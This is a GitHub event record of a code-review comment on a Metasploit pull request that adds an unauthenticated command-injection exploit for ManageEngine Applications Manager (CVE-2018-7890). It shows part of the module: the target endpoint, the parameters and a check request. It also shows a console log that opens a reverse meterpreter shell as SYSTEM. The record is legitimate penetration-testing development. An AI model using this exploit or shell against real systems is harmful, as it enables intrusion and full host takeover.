{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/174038274","pull_request_review_id":103321174,"id":174038274,"diff_hunk":"@@ -0,0 +1,114 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+class MetasploitModule < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::HttpClient\n+  include Msf::Exploit::Powershell\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => \"ManageEngine Applications Manager Remote Code Execution\",\n+      'Description'    => %q(\n+        This module exploits command injection vulnerability in the ManageEngine Application Manager product.\n+        An unauthenticated user can execute a operating system command under the context of privileged user.\n+\n+        Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials\n+        by accessing given system. This endpoint calls a several internal classes and then executes powershell script\n+        without validating user supplied parameter when the given system is OfficeSharePointServer.\n+      ),\n+      'License'        => MSF_LICENSE,\n+      'Author'         =>\n+        [\n+          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module\n+        ],\n+      'References'     =>\n+        [\n+          ['CVE', '2018-7890'],\n+          ['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/']\n+        ],\n+      'DefaultOptions' =>\n+        {\n+          'WfsDelay' => 10,\n+          'RPORT' => 9090\n+        },\n+      'Payload' =>\n+        {\n+          'BadChars' => \"\\x22\"\n+        },\n+      'Platform'       => ['win'],\n+      'Arch'           => [ARCH_X86, ARCH_X64],\n+      'Targets'        => [['Automatic', {}]],\n+      'Privileged'     => true,\n+      'DisclosureDate' => 'Mar 7 2018',\n+      'DefaultTarget'  => 0))\n+\n+    register_options(\n+      [\n+        OptString.new('TARGETURI', [true, 'The URI of the application', '/'])\n+      ]\n+    )\n+  end\n+\n+  def check\n+    res = send_request_cgi(\n+      'method' => 'POST',\n+      'uri' => normalize_uri(target_uri.path, 'testCredential.do'),\n+      'vars_post' => {\n+        'method' => 'testCredentialForConfMonitors',\n+        'type' => 'OfficeSharePointServer',\n+        'montype' => 'OfficeSharePointServer',\n+        'isAgentEnabled' => 'NO',\n+        'isAgentAssociated' => 'false',\n+        'displayname' => Rex::Text.rand_text_alpha(10),","path":"modules/exploits/windows/http/manageengine_appmanager_exec.rb","position":66,"original_position":66,"commit_id":"ec10a82c56e01c92983c6b8d6857221986aab32c","original_commit_id":"ec10a82c56e01c92983c6b8d6857221986aab32c","user":{"login":"bcoles","id":434827,"avatar_url":"https://avatars2.githubusercontent.com/u/434827?v=4","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"body":"Randomization for the win:\r\n\r\n```ruby\r\n        'displayname' => Rex::Text.rand_text_alpha(rand(10..15)),\r\n```","created_at":"2018-03-13T07:48:41Z","updated_at":"2018-03-13T08:02:27Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/9684#discussion_r174038274","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/174038274"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9684#discussion_r174038274"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684","id":173571800,"html_url":"https://github.com/rapid7/metasploit-framework/pull/9684","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9684.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9684.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9684","number":9684,"state":"open","locked":false,"title":"Adding ManageEngine Application Manager RCE","user":{"login":"mmetince","id":4004716,"avatar_url":"https://avatars0.githubusercontent.com/u/4004716?v=4","gravatar_id":"","url":"https://api.github.com/users/mmetince","html_url":"https://github.com/mmetince","followers_url":"https://api.github.com/users/mmetince/followers","following_url":"https://api.github.com/users/mmetince/following{/other_user}","gists_url":"https://api.github.com/users/mmetince/gists{/gist_id}","starred_url":"https://api.github.com/users/mmetince/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmetince/subscriptions","organizations_url":"https://api.github.com/users/mmetince/orgs","repos_url":"https://api.github.com/users/mmetince/repos","events_url":"https://api.github.com/users/mmetince/events{/privacy}","received_events_url":"https://api.github.com/users/mmetince/received_events","type":"User","site_admin":false},"body":"This module exploits command injection vulnerability -0day as far as I know- in the ManageEngine Application Manager product. An unauthenticated user can execute a operating system command under the context of privileged user.\r\n\r\nA successful check of the exploit will look like this:\r\n\r\n- [ ] Start `msfconsole`\r\n- [ ] `use exploit/linux/http/securityonion_xplico_exec`\r\n- [ ] Set `RHOST`\r\n- [ ] Set `PAYLOAD windows/meterpreter/reverse_tcp`\r\n- [ ] Set `LHOST`\r\n- [ ] Run `check`\r\n- [ ] **Verify** that you are seeing `The target is vulnerable.` in console.\r\n- [ ] Run `exploit`\r\n- [ ] **Verify** that you are seeing `Triggering the vulnerability` in console.\r\n- [ ] **Verify** that you are seeing `Sending stage (179779 bytes) to <TARGET>` in console.\r\n- [ ] **Verify** that you have your shell.\r\n\r\n## Scenarios\r\n\r\n```\r\nmsf5 > \r\nmsf5 > use exploit/windows/http/manageengine_appmanager_exec \r\nmsf5 exploit(windows/http/manageengine_appmanager_exec) > set RHOST 12.0.0.192\r\nRHOST => 12.0.0.192\r\nmsf5 exploit(windows/http/manageengine_appmanager_exec) > set payload windows/meterpreter/reverse_tcp\r\npayload => windows/meterpreter/reverse_tcp\r\nmsf5 exploit(windows/http/manageengine_appmanager_exec) > set LHOST 12.0.0.1\r\nLHOST => 12.0.0.1\r\nmsf5 exploit(windows/http/manageengine_appmanager_exec) > check\r\n[+] 12.0.0.192:9090 The target is vulnerable.\r\nmsf5 exploit(windows/http/manageengine_appmanager_exec) > run\r\n\r\n[*] Started reverse TCP handler on 12.0.0.1:4444 \r\n[*] Trigerring the vulnerability\r\n[*] Sending stage (179779 bytes) to 12.0.0.192\r\n\r\nmeterpreter > getuid\r\nServer username: NT AUTHORITY\\SYSTEM\r\n```\r\n\r\n**Technical Details and Module Demo**\r\n[https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/](https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/)","created_at":"2018-03-07T21:00:03Z","updated_at":"2018-03-13T08:02:27Z","closed_at":null,"merged_at":null,"merge_commit_sha":"a51906daa74d072b31956f603f05cabfcca0615d","assignee":null,"assignees":[],"requested_reviewers":[{"login":"todb-r7","id":1170909,"avatar_url":"https://avatars2.githubusercontent.com/u/1170909?v=4","gravatar_id":"","url":"https://api.github.com/users/todb-r7","html_url":"https://github.com/todb-r7","followers_url":"https://api.github.com/users/todb-r7/followers","following_url":"https://api.github.com/users/todb-r7/following{/other_user}","gists_url":"https://api.github.com/users/todb-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/todb-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/todb-r7/subscriptions","organizations_url":"https://api.github.com/users/todb-r7/orgs","repos_url":"https://api.github.com/users/todb-r7/repos","events_url":"https://api.github.com/users/todb-r7/events{/privacy}","received_events_url":"https://api.github.com/users/todb-r7/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":103436215,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":103436014,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9684/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/ec10a82c56e01c92983c6b8d6857221986aab32c","head":{"label":"mmetince:manageengine_appmanager_0day","ref":"manageengine_appmanager_0day","sha":"ec10a82c56e01c92983c6b8d6857221986aab32c","user":{"login":"mmetince","id":4004716,"avatar_url":"https://avatars0.githubusercontent.com/u/4004716?v=4","gravatar_id":"","url":"https://api.github.com/users/mmetince","html_url":"https://github.com/mmetince","followers_url":"https://api.github.com/users/mmetince/followers","following_url":"https://api.github.com/users/mmetince/following{/other_user}","gists_url":"https://api.github.com/users/mmetince/gists{/gist_id}","starred_url":"https://api.github.com/users/mmetince/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmetince/subscriptions","organizations_url":"https://api.github.com/users/mmetince/orgs","repos_url":"https://api.github.com/users/mmetince/repos","events_url":"https://api.github.com/users/mmetince/events{/privacy}","received_events_url":"https://api.github.com/users/mmetince/received_events","type":"User","site_admin":false},"repo":{"id":18488065,"name":"metasploit-framework","full_name":"mmetince/metasploit-framework","owner":{"login":"mmetince","id":4004716,"avatar_url":"https://avatars0.githubusercontent.com/u/4004716?v=4","gravatar_id":"","url":"https://api.github.com/users/mmetince","html_url":"https://github.com/mmetince","followers_url":"https://api.github.com/users/mmetince/followers","following_url":"https://api.github.com/users/mmetince/following{/other_user}","gists_url":"https://api.github.com/users/mmetince/gists{/gist_id}","starred_url":"https://api.github.com/users/mmetince/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmetince/subscriptions","organizations_url":"https://api.github.com/users/mmetince/orgs","repos_url":"https://api.github.com/users/mmetince/repos","events_url":"https://api.github.com/users/mmetince/events{/privacy}","received_events_url":"https://api.github.com/users/mmetince/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/mmetince/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/mmetince/metasploit-framework","forks_url":"https://api.github.com/repos/mmetince/metasploit-framework/forks","keys_url":"https://api.github.com/repos/mmetince/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mmetince/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mmetince/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/mmetince/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/mmetince/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/mmetince/metasploit-framework/events","assignees_url":"https://api.github.com/repos/mmetince/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/mmetince/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/mmetince/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mmetince/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/mmetince/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/mmetince/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/mmetince/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/mmetince/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/mmetince/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/mmetince/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/mmetince/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/mmetince/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/mmetince/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/mmetince/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mmetince/metasploit-framework/merges","archive_url":"https://api.github.com/repos/mmetince/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mmetince/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/mmetince/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/mmetince/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/mmetince/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/mmetince/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mmetince/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/mmetince/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/mmetince/metasploit-framework/deployments","created_at":"2014-04-06T11:25:11Z","updated_at":"2017-11-09T05:25:06Z","pushed_at":"2018-03-13T06:46:26Z","git_url":"git://github.com/mmetince/metasploit-framework.git","ssh_url":"git@github.com:mmetince/metasploit-framework.git","clone_url":"https://github.com/mmetince/metasploit-framework.git","svn_url":"https://github.com/mmetince/metasploit-framework","homepage":"http://www.metasploit.com/","size":326170,"stargazers_count":3,"watchers_count":3,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":0,"open_issues":0,"watchers":3,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"15269ec3ce3d03852b7a39d13695651d8e279ec2","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-03-13T03:58:09Z","pushed_at":"2018-03-13T07:43:23Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":332797,"stargazers_count":11639,"watchers_count":11639,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":6577,"mirror_url":null,"archived":false,"open_issues_count":499,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":6577,"open_issues":499,"watchers":11639,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9684"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9684"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9684/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/ec10a82c56e01c92983c6b8d6857221986aab32c"}},"author_association":"CONTRIBUTOR"}}
{"actor":{"display_login":"bcoles"}}